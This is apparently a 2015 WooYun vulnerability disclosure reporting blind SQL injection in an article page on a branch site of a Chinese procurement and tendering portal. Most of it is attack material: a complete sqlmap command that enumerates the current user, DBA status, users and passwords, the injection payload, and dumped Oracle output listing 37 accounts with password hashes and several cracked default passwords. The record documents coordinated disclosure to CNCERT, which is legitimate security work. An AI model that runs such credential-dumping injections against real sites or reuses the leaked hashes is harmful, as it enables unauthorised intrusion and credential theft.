当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0158112

漏洞标题：中国采购与招标网某分站存在SQL注射漏洞（DBA权限+37位系统管理员密码泄露）

相关厂商：中国采购与招标网

漏洞作者： 路人甲

提交时间：2015-12-05 01:06

修复时间：2016-01-21 18:22

公开时间：2016-01-21 18:22

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-05： 细节已通知厂商并且等待厂商处理中
2015-12-09： 厂商已经确认，细节仅向厂商公开
2015-12-19： 细节向核心白帽子及相关领域专家公开
2015-12-29： 细节向普通白帽子公开
2016-01-08： 细节向实习白帽子公开
2016-01-21： 细节向公众公开

简要描述：

中国采购与招标网某分站存在SQL注射漏洞（DBA权限+37位系统管理员密码泄露）

详细说明：

地址：http://**.**.**.**/article.jsp?op=op_browse&record_id=19379060

$ python sqlmap.py -u "http://**.**.**.**/article.jsp?op=op_browse&record_id=19379060" -p record_id --technique=B --output-dir=output --random-agent --batch  --no-cast --current-user --is-dba --users --passwords

漏洞证明：

---
Parameter: record_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: op=op_browse&record_id=19379060 AND 2177=2177
---
web application technology: JSP
back-end DBMS: Oracle
current user:    'INFOSERVICE'
current user is DBA:    True
database management system users [37]:
[*] ANONYMOUS
[*] APEX_030200
[*] APEX_PUBLIC_USER
[*] APPQOSSYS
[*] BI
[*] CTXSYS
[*] DBSNMP
[*] DIP
[*] EXFSYS
[*] FLOWS_FILES
[*] HR
[*] INFOSERVICE
[*] IX
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] OE
[*] OLAPSYS
[*] ORACLE_OCM
[*] ORDDATA
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] OWBSYS_AUDIT
[*] PM
[*] SCOTT
[*] SH
[*] SI_INFORMTN_SCHEMA
[*] SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
[*] XS$NULL
database management system users password hashes:
[*] ANONYMOUS [1]:
    password hash: anonymous
[*] APEX_030200 [1]:
    password hash: A1387FC1F0AE6960
[*] APEX_PUBLIC_USER [1]:
    password hash: 632CB1553A5921F9
[*] APPQOSSYS [1]:
    password hash: 519D632B7EE7F63A
    clear-text password: APPQOSSYS
[*] BI [1]:
    password hash: FA1D2B85B70213F3
    clear-text password: CHANGE_ON_INSTALL
[*] CTXSYS [1]:
    password hash: 71E687F036AD56E5
    clear-text password: CHANGE_ON_INSTALL
[*] DBSNMP [1]:
    password hash: E066D214D5421CCC
    clear-text password: DBSNMP
[*] DIP [1]:
    password hash: CE4A36B8E06CA59C
    clear-text password: DIP
[*] EXFSYS [1]:
    password hash: 33C758A8E388DEE5
[*] FLOWS_FILES [1]:
    password hash: 28A140FCC1F33914
[*] HR [1]:
    password hash: 6399F3B38EDF3288
    clear-text password: CHANGE_ON_INSTALL
[*] INFOSERVICE [1]:
    password hash: 19ADFA24FBD8F946
[*] IX [1]:
    password hash: 2BE6F80744E08FEB
    clear-text password: CHANGE_ON_INSTALL
[*] MDDATA [1]:
    password hash: DF02A496267DEE66
    clear-text password: MDDATA
[*] MDSYS [1]:
    password hash: 72979A94BAD2AF80
    clear-text password: MDSYS
[*] MGMT_VIEW [1]:
    password hash: E84D48CE0C471046
[*] OE [1]:
    password hash: 9C30855E7E0CB02D
    clear-text password: CHANGE_ON_INSTALL
[*] OLAPSYS [1]:
    password hash: 4AC23CC3B15E2208
[*] ORACLE_OCM [1]:
    password hash: 5A2E026A9157958C
[*] ORDDATA [1]:
    password hash: A93EC937FCD1DC2A
    clear-text password: ORDDATA
[*] ORDPLUGINS [1]:
    password hash: 88A2B2C183431F00
    clear-text password: ORDPLUGINS
[*] ORDSYS [1]:
    password hash: 7EFA02EC7EA6B86F
    clear-text password: ORDSYS
[*] OUTLN [1]:
    password hash: 4A3BA55E08595C81
    clear-text password: OUTLN
[*] OWBSYS [1]:
    password hash: 610A3C38F301776F
    clear-text password: OWBSYS
[*] OWBSYS_AUDIT [1]:
    password hash: FD8C3D14F6B60015
    clear-text password: OWBSYS_AUDIT
[*] PM [1]:
    password hash: 72E382A52E89575A
    clear-text password: CHANGE_ON_INSTALL
[*] SCOTT [1]:
    password hash: F894844C34402B67
    clear-text password: TIGER
[*] SH [1]:
    password hash: 9793B3777CD3BD1A
    clear-text password: CHANGE_ON_INSTALL
[*] SI_INFORMTN_SCHEMA [1]:
    password hash: 84B8CBCA4D477FA3
    clear-text password: SI_INFORMTN_SCHEMA
[*] SPATIAL_CSW_ADMIN_USR [1]:
    password hash: 1B290858DD14107E
    clear-text password: SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR [1]:
    password hash: 7117215D6BEE6E82
    clear-text password: SPATIAL_WFS_ADMIN_USR
[*] SYS [1]:
    password hash: 3EC25DEE0D01BFDA
[*] SYSMAN [1]:
    password hash: 447B729161192C24
    clear-text password: SYSMAN
[*] SYSTEM [1]:
    password hash

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-12-09 17:38

厂商回复：

CNVD未直接复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无

漏洞评价：

评价